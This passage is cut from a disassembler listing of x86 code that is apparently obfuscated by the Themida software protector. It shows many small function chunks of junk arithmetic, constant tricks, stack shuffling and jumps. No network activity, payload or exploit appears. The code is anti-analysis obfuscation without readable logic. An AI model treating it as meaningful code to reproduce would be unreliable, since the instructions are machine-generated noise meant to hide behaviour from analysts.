		mov	ecx, 5DC17F73h
		jmp	loc_572BBF
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56241E


loc_573A41:				; CODE XREF: sub_56241E+3E09j
		sub	ax, 1E7Fh
		sub	dx, 5633h
		jmp	loc_57388A
; END OF FUNCTION CHUNK	FOR sub_56241E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_573A4F:				; CODE XREF: sub_561027+117CDj
		mov	edi, 0F367C1C4h
		xor	ebp, edi
		jmp	loc_568256
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571890


loc_573A5B:				; CODE XREF: sub_571890-7F99j
		pop	ecx
		add	ebx, 0FFFFFFFFh
		add	ebx, 0D3F299F8h
		push	ecx
		mov	ecx, 65A75270h
		not	ecx
		jmp	loc_57059C
; END OF FUNCTION CHUNK	FOR sub_571890
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571C93


loc_573A72:				; CODE XREF: sub_571C93+35A2j
		pop	edi
		add	esp, 4
		push	ecx
		jmp	loc_570E14
; END OF FUNCTION CHUNK	FOR sub_571C93

; =============== S U B	R O U T	I N E =======================================



sub_573A7F	proc near		; DATA XREF: Themida_:0055FD3Co

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00563141 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056C5C1 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056E4EC SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0056FD4E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00572B58 SIZE 00000006 BYTES

		lodsd
		sub	eax, 36D715BAh
		push	34DDh
		jmp	loc_563141
sub_573A7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_573A8F	proc near		; DATA XREF: Themida_:0055FF14o

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0056FB43 SIZE 00000005 BYTES

		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp-4+arg_0], eax
		pushf
		jmp	loc_56FB43
sub_573A8F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_573A9D:				; CODE XREF: sub_57549C-9073j
		push	ecx
		mov	ecx, 0DBE21A0h
		jmp	loc_571A95
; END OF FUNCTION CHUNK	FOR sub_57549C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E96D


loc_573AA8:				; CODE XREF: sub_56E96D-2473j
		pop	edx
		sub	esi, 93358485h
		xor	esi, 3E15082Fh
		mov	eax, esi
		pop	esi
		add	ebp, eax
		jmp	loc_56C824
; END OF FUNCTION CHUNK	FOR sub_56E96D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57109F


loc_573ABF:				; CODE XREF: sub_57109F-6D66j
		shl	esi, 1
		jmp	loc_573E4B
; END OF FUNCTION CHUNK	FOR sub_57109F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5666C3


loc_573AC6:				; CODE XREF: sub_5666C3+226Aj
		push	378Ch
		mov	[esp+0], ebp
		push	edx
		mov	edx, 4FCD155Ah
		push	ecx
		mov	ecx, 411266EEh
		sub	ecx, 33E708ECh
		not	ecx
		xor	ecx, 72603186h
		xor	ecx, 7813459Ch
		shl	ecx, 3
		add	ecx, 916A7D47h
		or	edx, ecx
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		push	edi
		mov	edi, 54B81C25h
		not	edi
		dec	edi
		xor	edi, 8C48B483h
		or	edx, edi
		pop	edi
		add	edx, 0FFFDABD7h
		mov	ebp, edx
		mov	edx, [esp-8+arg_4]
		add	esp, 4
		jmp	loc_567026
; END OF FUNCTION CHUNK	FOR sub_5666C3
; ---------------------------------------------------------------------------


loc_573B27:				; CODE XREF: Themida_:0056CB50j
		push	ebx
		mov	ebx, esp
		jmp	loc_56C0F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_573B2F:				; CODE XREF: sub_56616D+4AE5j
		add	esi, ebp
		pop	ebp
		add	edx, 32C634C1h
		add	edx, esi
		sub	edx, 32C634C1h
		pop	esi
		sub	esp, 4
		jmp	loc_56361A
; END OF FUNCTION CHUNK	FOR sub_56616D

; =============== S U B	R O U T	I N E =======================================



sub_573B49	proc near		; CODE XREF: sub_56FD38-F952j

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00564DA9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005660E1 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0056B984 SIZE 00000010 BYTES

		push	ebx
		mov	ebx, 4D3D4678h
		jmp	loc_5660E1
sub_573B49	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_573B54:				; CODE XREF: sub_571088-8EB9j
		mov	dword ptr [esp-4+arg_0], ebx
		mov	bl, 6
		add	bl, 0DDh
		push	dx
		mov	dl, bl
		push	ebx
		mov	bl, dl
		not	bl
		push	eax
		push	edx
		jmp	loc_56AB74
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------


loc_573B6C:				; CODE XREF: Themida_:0056CDF9j
		xor	ebx, [esp]
		jmp	loc_56CE1F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5609A1


loc_573B74:				; CODE XREF: sub_5609A1+6j
		sub	edx, ebx
		pop	ebx
		push	ebx
		jmp	loc_5712E2
; END OF FUNCTION CHUNK	FOR sub_5609A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560D31


loc_573B7D:				; CODE XREF: sub_560D31+2BFBj
		mov	dl, ah
		pop	eax
		mov	[edi+eax*4], dl
		mov	edx, [esp+0]
		add	esp, 4
		push	[esp-4+arg_0]
		pop	ebx
		push	ebx
		sub	esp, 4
		mov	[esp+4+var_4], esp
		push	ebx
		mov	ebx, 4
		add	[esp+8+var_4], ebx
		pop	ebx
		jmp	loc_5683DD
; END OF FUNCTION CHUNK	FOR sub_560D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5673C3


loc_573BA7:				; CODE XREF: sub_5673C3+35D3j
		mov	eax, 602136B5h
		xor	eax, 25A105FBh
		and	eax, 1E286968h
		shr	eax, 8
		neg	eax
		sub	eax, 5757710Ah
		sub	eax, 0A8A48ED1h
		add	ebp, eax
		push	[esp+10h+var_10]
		pop	eax
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		push	ebp
		jmp	loc_56A4E2
; END OF FUNCTION CHUNK	FOR sub_5673C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56102D


loc_573BDD:				; CODE XREF: sub_56102D+8B1Bj
		pop	esi
		add	ebp, 4
		xchg	ebp, [esp+4+var_4]
		jmp	loc_56BDB1
; END OF FUNCTION CHUNK	FOR sub_56102D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560844


loc_573BEC:				; CODE XREF: sub_560844+7B19j
		mov	ebx, [esp+0]
		push	esi
		mov	esi, esp
		push	4824h
		mov	[esp+8+var_8], ecx
		mov	ecx, 11C613B6h
		add	ecx, 2C863032h
		jmp	loc_568A9B
; END OF FUNCTION CHUNK	FOR sub_560844
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A7FB


loc_573C0A:				; CODE XREF: sub_56A7FB+2j
		mov	bl, 75h
		add	al, 0FDh
		jmp	loc_564B9B
; END OF FUNCTION CHUNK	FOR sub_56A7FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572DD7


loc_573C13:				; CODE XREF: sub_572DD7+15CBj
		add	dword ptr [esp+4], 63DB75D8h
		jmp	loc_5741C1
; END OF FUNCTION CHUNK	FOR sub_572DD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_573C20:				; CODE XREF: sub_5620B7+4375j
		sub	esi, 34D0C3B2h
		jmp	loc_562017
; END OF FUNCTION CHUNK	FOR sub_5620B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574CDD


loc_573C2B:				; CODE XREF: sub_574CDD-13D98j
		mov	eax, [esp+4+var_4]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+8+var_8]
		pop	esp
		add	ebp, 4
		push	ebp
		push	[esp+8+var_4]
		pop	ebp
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		add	ebp, 4
		jmp	loc_56DB9D
; END OF FUNCTION CHUNK	FOR sub_574CDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56241E


loc_573C5E:				; CODE XREF: sub_56241E+839Ej
		mov	word ptr [esp+8+var_8],	ax
		mov	ax, 24D1h
		jmp	loc_566202
; END OF FUNCTION CHUNK	FOR sub_56241E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E1B8


loc_573C6B:				; CODE XREF: sub_56E1B8+541Dj
		mov	esi, [esp+0]
		add	esp, 4
		shl	edx, 7
		xor	edx, 950E9204h
		add	eax, edx
		jmp	loc_570129
; END OF FUNCTION CHUNK	FOR sub_56E1B8
; ---------------------------------------------------------------------------


loc_573C84:				; CODE XREF: Themida_:00560E5Fj
		push	16B7559Fh
		pop	ebx
		sub	ecx, ebx
		pop	ebx
		mov	eax, [ecx]
		jmp	loc_56F304
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56208F


loc_573C94:				; CODE XREF: sub_56208F+9B66j
		sar	[esp-4+arg_0], cl
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56208F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56628B


loc_573C9D:				; CODE XREF: sub_56628B+4675j
		dec	eax
		jmp	loc_564761
; END OF FUNCTION CHUNK	FOR sub_56628B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_573CA3:				; CODE XREF: sub_563A7F+23B4j
		and	bh, 0A1h
		push	dx
		push	bx
		jmp	loc_56A84E
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_573CAF:				; CODE XREF: sub_56616D+193Bj
		inc	ebp
		add	ebp, 26D9155h
		jmp	loc_56E2A6
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5722C8


loc_573CBB:				; CODE XREF: sub_5722C8-904Dj
		mov	[esp+0], ecx
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_5722C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_573CC3:				; CODE XREF: sub_5678CB+3D10j
		not	ch
		sub	esp, 2
		jmp	loc_5681BD
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_573CCD:				; CODE XREF: sub_570732+43DEj
		shl	ecx, 8
		xor	ecx, 57AB6E85h
		neg	ecx
		xor	ecx, 8EEE7459h
		add	ebx, ecx
		jmp	loc_572315
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_573CE5:				; CODE XREF: sub_56B06D+25ADj
		push	edi
		mov	edi, 4
		sub	esi, edi
		pop	edi
		xchg	esi, [esp+18h+var_18]
		pop	esp
		jmp	loc_566E80
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_573CF7:				; CODE XREF: sub_564D26-E81j
		mov	edi, 5F664342h
		push	ebp
		mov	ebp, 77AE047Dh
		jmp	loc_56878A
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B11B


loc_573D07:				; CODE XREF: sub_56B11B+17j
		add	ecx, edx
		jmp	loc_56424E
; END OF FUNCTION CHUNK	FOR sub_56B11B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_573D0E:				; CODE XREF: sub_56616D+3428j
		mov	edx, 983B2021h
		mov	ecx, edx
		mov	edx, [esp-0Ch+arg_8]
		add	esp, 4
		sub	ecx, 7FF950FDh
		jmp	loc_5693C4
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563FA2


loc_573D29:				; CODE XREF: sub_563FA2+9554j
		neg	eax
		jmp	loc_564532
; END OF FUNCTION CHUNK	FOR sub_563FA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_573D30:				; CODE XREF: sub_565632+9CB9j
		mov	edx, 76CF2AD7h
		shr	edx, 3
		inc	edx
		inc	edx
		add	edx, 4B6A3C13h
		mov	ebp, edx
		pop	edx
		sub	ebp, 5A44216Bh
		sub	ebx, 502F1CDEh
		sub	ebx, 1D4275CDh
		sub	ebx, 499E6BF9h
		jmp	loc_56F26D
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563BCC


loc_573D60:				; CODE XREF: sub_563BCC+4431j
		mov	[esp+8+var_8], edx
		mov	edx, 4
		push	ebx
		jmp	loc_566E6F
; END OF FUNCTION CHUNK	FOR sub_563BCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568D9E


loc_573D6E:				; CODE XREF: sub_568D9E+Fj
		xchg	ebp, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_56A8C2
; END OF FUNCTION CHUNK	FOR sub_568D9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5680AC


loc_573D79:				; CODE XREF: sub_5680AC+CF80j
		pop	esp
		jmp	loc_56CA85
; END OF FUNCTION CHUNK	FOR sub_5680AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FCD7


loc_573D7F:				; CODE XREF: sub_56FCD7-A6Fj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_568F10
; END OF FUNCTION CHUNK	FOR sub_56FCD7

; =============== S U B	R O U T	I N E =======================================



sub_573D90	proc near		; DATA XREF: Themida_:0055FE00o
		pop	dword ptr fs:[edx]
		jmp	loc_55FF9F
sub_573D90	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5753A5


loc_573D98:				; CODE XREF: sub_5753A5-1173Dj
		push	edi
		push	edx
		mov	edx, 760F5F03h
		dec	edx
		sub	edx, 6959FAC2h
		mov	edi, edx
		pop	edx
		sub	ebp, edi
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		pop	eax
		push	2129h
		mov	[esp+8+var_8], ebp
		push	[esp+8+var_4]
		pop	ebp
		pop	[esp+8+var_8]
		jmp	loc_56C1B9
; END OF FUNCTION CHUNK	FOR sub_5753A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572D45


loc_573DCA:				; CODE XREF: sub_572D45-2ADCj
		pop	ebp
		push	esi
		mov	esi, 1
		add	eax, esi
		pop	esi
		sub	eax, 74627E22h
		sub	eax, 8CB08C4Eh
		push	eax
		pop	esi
		mov	eax, [esp+0Ch+var_C]
		push	ecx
		jmp	loc_566D9F
; END OF FUNCTION CHUNK	FOR sub_572D45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573612


loc_573DE9:				; CODE XREF: sub_573612-AE5Bj
		add	ebx, edx
		sub	ebx, 3E52660Dh
		pop	edx
		jmp	loc_574AB5
; END OF FUNCTION CHUNK	FOR sub_573612
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569A84


loc_573DF7:				; CODE XREF: sub_569A84+83Aj
		pop	eax
		or	eax, ecx
		pop	ecx
		add	eax, 0FFFFFFFFh
		and	eax, 17D2398Ch
		sub	eax, 1
		push	ecx
		push	ebp
		mov	ebp, 4FD731CDh
		mov	ecx, 0C55FD508h
		add	ecx, ebp
		pop	ebp
		add	eax, ecx
		jmp	loc_563842
; END OF FUNCTION CHUNK	FOR sub_569A84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56BD36


loc_573E1E:				; CODE XREF: sub_56BD36+9j
		push	esp
		pop	eax
		jmp	loc_574F86
; END OF FUNCTION CHUNK	FOR sub_56BD36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56ACDE


loc_573E25:				; CODE XREF: sub_56ACDE+D5Dj
		xor	edi, edx
		add	edi, 235D70C6h
		sub	edi, 3501E327h
		sub	ebp, 736729C1h
		sub	ebp, edi
		add	ebp, 736729C1h
		pop	edi
		add	edi, ebp
		pop	ebp
		push	edi
		jmp	loc_56C6EB
; END OF FUNCTION CHUNK	FOR sub_56ACDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57109F


loc_573E4B:				; CODE XREF: sub_57109F+2A22j
		add	esi, 720D00DEh
		add	ebp, esi
		jmp	loc_56B0D4
; END OF FUNCTION CHUNK	FOR sub_57109F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574F16


loc_573E58:				; CODE XREF: sub_574F16-12A5Fj
		pop	esp
		add	al, dl
		mov	edx, [esp+4+var_6+2]
		add	esp, 4
		jmp	loc_574B9E
; END OF FUNCTION CHUNK	FOR sub_574F16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_573E66:				; CODE XREF: sub_574656-55B8j
		pop	eax
		or	ebx, 77DC1E3Eh
		xor	ebx, 68804E2Dh
		xchg	ecx, ebx
		not	ecx
		jmp	loc_5649E5
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560CF1


loc_573E7C:				; CODE XREF: sub_560CF1+20j
		add	esp, 4
		and	eax, edx
		push	[esp+4+var_4]
		mov	edx, [esp+8+var_8]
		sub	esp, 4
		mov	[esp+0Ch+var_C], eax
		jmp	loc_56FEF4
; END OF FUNCTION CHUNK	FOR sub_560CF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5673C3


loc_573E92:				; CODE XREF: sub_5673C3+3B16j
		xor	ebp, [esp-4+arg_0]
		pop	esp
		add	esp, 4
		jmp	loc_570135
; END OF FUNCTION CHUNK	FOR sub_5673C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A423


loc_573EA1:				; CODE XREF: sub_56A423+760Bj
		push	[esp+0Ch+var_C]
		push	[esp+10h+var_10]
		pop	ecx
		jmp	sub_56E1B8
; END OF FUNCTION CHUNK	FOR sub_56A423
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566117


loc_573EAD:				; CODE XREF: sub_566117+1360j
		pop	esp
		pop	[esp+8+var_8]
		jmp	loc_5614B6
; END OF FUNCTION CHUNK	FOR sub_566117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5653AD


loc_573EB6:				; CODE XREF: sub_5653AD+6408j
		push	eax
		push	ebp
		mov	ebp, 17621E44h
		push	edx
		push	edi
		mov	edi, 65C056D3h
		jmp	loc_565886
; ---------------------------------------------------------------------------


loc_573EC9:				; CODE XREF: sub_5653AD+6j
		push	edi
		jmp	loc_56040D
; END OF FUNCTION CHUNK	FOR sub_5653AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_573ECF:				; CODE XREF: sub_5605BC+2142j
		pop	ebx
		sub	ebx, 0A265D2Ah
		sub	ebx, edx
		add	ebx, 0A265D2Ah
		pop	edx
		jmp	loc_56EF77
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5671E1


loc_573EE4:				; CODE XREF: sub_5671E1-5A12j
		sub	edi, 4FE17422h
		add	edi, esi
		add	edi, 4FE17422h
		sub	edi, 2E0F2F9Eh
		sub	edi, 336541D9h
		add	edi, 2990437Bh
		jmp	loc_569772
; END OF FUNCTION CHUNK	FOR sub_5671E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570CE4


loc_573F09:				; CODE XREF: sub_570CE4-8FB8j
		shl	eax, 4
		inc	eax
		push	edx
		mov	edx, 29B729A5h
		sub	edx, 36C8262Fh
		sub	edx, 78C10218h
		shl	edx, 8
		jmp	loc_574FAE
; END OF FUNCTION CHUNK	FOR sub_570CE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747FA


loc_573F27:				; CODE XREF: sub_5747FA-73FDj
		mov	ecx, [esp-4+arg_0]
		add	esp, 4
		sub	esp, 4
		mov	[esp-4+arg_0], edi
		push	ebp
		mov	ebp, 65491ECAh
		add	ebp, 466C57A3h
		jmp	loc_561D9D
; END OF FUNCTION CHUNK	FOR sub_5747FA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560EA2


loc_573F4A:				; CODE XREF: sub_560EA2+108FCj
		xor	ebp, eax
		pop	eax
		xor	edx, ebp
		pop	ebp
		jmp	loc_572D66
; END OF FUNCTION CHUNK	FOR sub_560EA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572DD7


loc_573F55:				; CODE XREF: sub_572DD7-E4D7j
		mov	edi, ecx
		pop	ecx
		add	edi, 235300AAh
		neg	edi
		not	edi
		shl	edi, 5
		jmp	loc_56B4D2
; END OF FUNCTION CHUNK	FOR sub_572DD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C474


loc_573F6A:				; CODE XREF: sub_56C474+14j
		mov	[esp+10h+var_10], edx
		jmp	loc_56A33E
; END OF FUNCTION CHUNK	FOR sub_56C474
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_575328


loc_573F72:				; CODE XREF: sub_575328-CDCEj
		pop	ecx
		push	ecx
		mov	ecx, 3F392678h
		sub	eax, ecx
		pop	ecx
		add	eax, ebp
		add	eax, 3F392678h
		pop	ebp
		jmp	sub_56189F
; END OF FUNCTION CHUNK	FOR sub_575328
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CC46


loc_573F89:				; CODE XREF: sub_56CC46+39ADj
		sub	ecx, 1
		and	ecx, 461008B8h
		shl	ecx, 1
		dec	ecx
		jmp	loc_563BE1
; END OF FUNCTION CHUNK	FOR sub_56CC46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560056


loc_573F9D:				; CODE XREF: sub_560056+CA00j
		push	esi
		push	ebx
		add	[esp+8+var_8], 5E357C1Eh
		jmp	loc_560A03
; END OF FUNCTION CHUNK	FOR sub_560056
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563819


loc_573FAB:				; CODE XREF: sub_563819-472j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+8+var_8]
		pop	esp
		jmp	loc_56175C
; END OF FUNCTION CHUNK	FOR sub_563819
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570CE4


loc_573FC0:				; CODE XREF: sub_570CE4+1E1Bj
		or	eax, 38657DF0h
		xor	eax, 2C9C5071h
		and	eax, 57967D2h
		jmp	loc_56BDFF
; END OF FUNCTION CHUNK	FOR sub_570CE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57549C


loc_573FD4:				; CODE XREF: sub_57549C-130A6j
		xor	edi, ebx
		pop	ebx
		push	edi
		mov	edi, 39F025F2h
		inc	edi
		add	edi, 188969BEh
		neg	edi
		push	edx
		jmp	loc_561C45
; END OF FUNCTION CHUNK	FOR sub_57549C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560056


loc_573FEC:				; CODE XREF: sub_560056+76E4j
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp+10h+var_10]
		jmp	loc_572988
; END OF FUNCTION CHUNK	FOR sub_560056

; =============== S U B	R O U T	I N E =======================================



sub_574000	proc near		; DATA XREF: Themida_:0055FD9Co

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00560E7E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005650E2 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0056679B SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0056A455 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056FA07 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056FB60 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00570360 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00571631 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00571BD8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00572481 SIZE 0000003A BYTES

		mov	cx, [esp+0]
		push	eax
		mov	eax, esp
		jmp	loc_5650E2
sub_574000	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574F16


loc_57400C:				; CODE XREF: sub_574F16-E3AAj
		sub	byte ptr [esp+6+var_6],	0F9h
		mov	dl, byte ptr [esp+6+var_6]
		add	esp, 2
		jmp	loc_562498
; END OF FUNCTION CHUNK	FOR sub_574F16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DAB2


loc_57401B:				; CODE XREF: sub_56DAB2+7759j
		add	eax, ebp
		sub	eax, 29700582h
		mov	ebp, [esp+4+var_4]
		sub	esp, 4
		jmp	loc_567272
; END OF FUNCTION CHUNK	FOR sub_56DAB2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_57402D:				; CODE XREF: sub_561418+E8F2j
		add	esp, 4
		push	edi
		jmp	loc_57152D
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560844


loc_574039:				; CODE XREF: sub_560844+124F6j
		pop	esi
		push	ebp
		mov	ebp, 4AAC2E92h
		sub	esi, ebp
		pop	ebp
		jmp	loc_565425
; END OF FUNCTION CHUNK	FOR sub_560844
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D4B8


loc_574048:				; CODE XREF: sub_56D4B8-C1BDj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-4+arg_0]
		pop	esp
		push	32E2h
		mov	[esp-4+arg_0], esi
		mov	esi, 67395344h
		jmp	sub_561541
; END OF FUNCTION CHUNK	FOR sub_56D4B8
; ---------------------------------------------------------------------------


loc_57406A:				; CODE XREF: Themida_:0056DD2Fj
		pop	ecx
		and	ebp, 0B422E80h
		sub	ebp, 58743FBFh
		push	0
		add	dword ptr [esp], 16887CAAh
		jmp	loc_574672
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_574088:				; CODE XREF: sub_5605BC+E9C7j
		add	edx, esi
		mov	esi, [esp+8+var_8]
		add	esp, 4
		xchg	edx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		or	eax, eax
		jnz	loc_562EEF
		push	1
		push	[esp+8+var_8]
		pop	edx
		jmp	loc_5609EA
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E05C


loc_5740AC:				; CODE XREF: sub_56E05C-A716j
		and	edi, 7C5F44A9h
		add	edi, 2E470A77h
		jmp	loc_565271
; END OF FUNCTION CHUNK	FOR sub_56E05C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5753A5


loc_5740BD:				; CODE XREF: sub_5753A5-12C4Cj
		and	esi, ebp
		pop	ebp
		add	esi, 42D95927h
		shr	esi, 3
		sub	esi, 0F712B87Fh
		shr	esi, 5
		dec	esi
		dec	esi
		push	1401h
		mov	[esp+10h+var_10], edx
		mov	edx, 2C1F6041h
		and	edx, 2EA31F3Ah
		add	edx, 0E1CDF240h
		jmp	loc_56A207
; END OF FUNCTION CHUNK	FOR sub_5753A5

; =============== S U B	R O U T	I N E =======================================



sub_5740F2	proc near		; DATA XREF: Themida_:0055FF54o
		pop	small word ptr [edx]
		jmp	loc_55FF9F
sub_5740F2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5740FA:				; CODE XREF: Themida_:005636A8j
		pop	ebp
		push	296h
		mov	[esp], ecx
		mov	ecx, 5DBD2155h
		sub	ecx, 770FABFh
		jmp	loc_57184C
; ---------------------------------------------------------------------------


loc_574113:				; DATA XREF: Themida_:0055FCC4o
		mov	ax, [esp]
		push	5CDh
		mov	[esp], ecx
		push	esp
		push	dword ptr [esp]
		jmp	loc_56A1A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5653AD


loc_574128:				; CODE XREF: sub_5653AD-3987j
		add	ebx, eax
		jmp	loc_56BDD8
; END OF FUNCTION CHUNK	FOR sub_5653AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561541


loc_57412F:				; CODE XREF: sub_561541+5B1Fj
		not	esi
		xor	esi, 252D30A7h
		sub	esi, 0D30D8743h
		jmp	loc_567147
